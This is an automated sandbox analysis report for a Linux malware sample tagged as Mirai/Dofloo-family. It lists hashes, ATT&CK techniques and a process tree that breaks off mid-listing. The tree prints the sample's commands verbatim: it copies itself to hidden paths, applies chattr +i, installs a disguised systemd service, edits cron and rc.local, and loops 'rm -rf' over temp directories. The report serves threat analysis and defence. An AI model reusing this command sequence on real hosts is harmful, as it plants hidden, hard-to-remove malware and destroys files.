560a90ffe544c767b3bf53a0af1347d8565f8587ba7edb113e42e57983bb936a

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/08/2026, 09:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
Size 1.6MB
Sample260804-lvm8essxht
SHA256 560a90ffe544c767b3bf53a0af1347d8565f8587ba7edb113e42e57983bb936a
MD5 c43eab901d9a04eed5e9791121ffb713
SHA1 cbbf9a2e7385405f14b34c793c8979a7ed30952d
SHA512 15bd8765eedec76b216ae2f9bc526b93ab39107c77da0d6b7cd02226c5c277cab44db287d4617f26f6cb8588e363c8689249ffdd7f973d8455f80a474092747f
SSDEEP 24576:LXX/J92uX2bINMTd+vZie7gNXHDeivHQtHpAX7ZfJZ8LUghXA:LXXx9dX2bIMgswgNXHKi/QtHpAX7ru
TLSH
T15C858D5AF6E364BCC097C430835FD753A935F4A911223E7F36849A302E66E705B2DB62
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1497	sh
1498	chmod

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.U75S81	crontab

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/.eclipse.service	sh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/268/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/449/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/470/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/668/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/892/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/18/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/22/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/28/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/171/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/611/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/961/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/12/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/551/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/998/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/499/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1018/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1161/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/35/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/137/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/162/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/443/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/497/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1043/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1095/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1315/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/5/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/168/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/975/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1255/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/34/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/36/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/159/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/474/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/475/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1013/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1057/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1189/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/176/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/434/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/435/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/672/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/712/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1480/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/24/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/32/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/201/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/610/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/906/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/965/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/19/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/82/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/98/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/442/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/522/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/1262/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
File opened for reading	/proc/650/fd	2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai

System Network Configuration Discovery 1 TTPs 40 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1496	cp
1508	sh
1669	rm
1757	rm
1499	sh
1503	grep
1505	sh
1587	rm
1637	rm
1717	rm
1493	sh
1677	rm
1685	rm
1495	sh
1500	chattr
1701	rm
1725	rm
1733	rm
1741	rm
1507	sh
1562	rm
1579	rm
1597	rm
1661	rm
1494	cp
1554	rm
1613	rm
1621	rm
1629	rm
1709	rm
1749	rm
1765	rm
1501	sh
1506	sed
1605	rm
1693	rm
1773	rm
1570	rm
1645	rm
1653	rm

/tmp/2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
/tmp/2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai
1⤵
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1480
- /bin/sh
  sh -c "echo '0' > /proc/sys/kernel/pid_max 2>/dev/null"
  2⤵
  PID:1491
- /bin/sh
  sh -c "ulimit -u 50 2>/dev/null"
  2⤵
  PID:1492
- /bin/sh
  sh -c "cp /tmp/2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1493
- - /bin/cp
    cp /tmp/2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1494
- /bin/sh
  sh -c "cp /tmp/2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1495
- - /bin/cp
    cp /tmp/2026-08-03_c43eab901d9a04eed5e9791121ffb713_ddos-tf_dofloo_glassworm_helldown_mirai /usr/lib/.eclipse
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:1496
- /bin/sh
  sh -c "chmod +x /var/tmp/.eclipse /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:1497
- - /bin/chmod
    chmod +x /var/tmp/.eclipse /usr/lib/.eclipse
    3⤵
    - File and Directory Permissions Modification
    PID:1498
- /bin/sh
  sh -c "chattr +i /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1499
- - /usr/bin/chattr
    chattr +i /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1500
- /bin/sh
  sh -c "crontab -l 2>/dev/null | grep -v '.eclipse' | crontab - 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1501
- - /bin/grep
    grep -v .eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1503
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1504
- - /usr/bin/crontab
    crontab -l
    3⤵
    PID:1502
- /bin/sh
  sh -c "sed -i '/.eclipse/d' /etc/rc.local 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1505
- - /bin/sed
    sed -i /.eclipse/d /etc/rc.local
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:1506
- /bin/sh
  sh -c "echo '[Unit] Description=System Service After=network.target [Service] Type=simple ExecStart=/var/tmp/.eclipse Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target' > /etc/systemd/system/.eclipse.service 2>/dev/null"
  2⤵
  - Modifies systemd
  - System Network Configuration Discovery
  PID:1507
- /bin/sh
  sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable .eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1508
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Reads runtime system information
    PID:1509
- - /bin/systemctl
    systemctl enable .eclipse
    3⤵
    - Reads runtime system information
    PID:1530
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1551
- - /bin/rm
    rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
    3⤵
    PID:1552
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1553
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1554
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1555
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1556
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1557
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1558
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1559
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1560
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1561
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1562
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1563
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1564
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1565
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1566
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1567
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1568
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1569
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1570
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1571
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1572
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1573
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1574
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1576
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1577
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1578
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1579
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1580
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1581
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1582
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1583
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1584
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1585
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1586
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1587
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1588
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1589
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1590
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1591
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1594
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1595
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1596
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1597
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1598
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1599
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1600
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1601
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1602
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1603
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1604
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1605
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1606
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1607
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1608
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1609
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1610
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1611
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1612
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1613
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1614
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1615
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1616
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1617
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1618
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1619
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1620
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1621
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1622
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1623
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1624
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1625
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1626
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1627
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1628
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1629
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1630
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1631
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1632
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1633
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1634
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1635
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1636
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1637
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1638
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1639
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1640
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1641
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1642
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1643
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1644
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1645
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1646
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1647
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1648
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1649
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1650
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1651
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1652
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1653
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1654
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1655
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1656
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1657
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1658
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1659
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1660
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1661
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1662
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1663
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1664
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1665
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1666
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1667
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1668
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1669
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1670
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1671
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1672
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1673
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1674
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1675
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1676
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1677
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1678
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1679
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1680
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1681
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1682
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1683
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1684
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1685
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1686
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1687
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1688
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1689
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1690
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1691
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1692
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1693
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1694
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1695
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1696
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1697
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1698
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1699
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1700
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1701
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1702
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1703
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1704
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1705
- /bin/sh
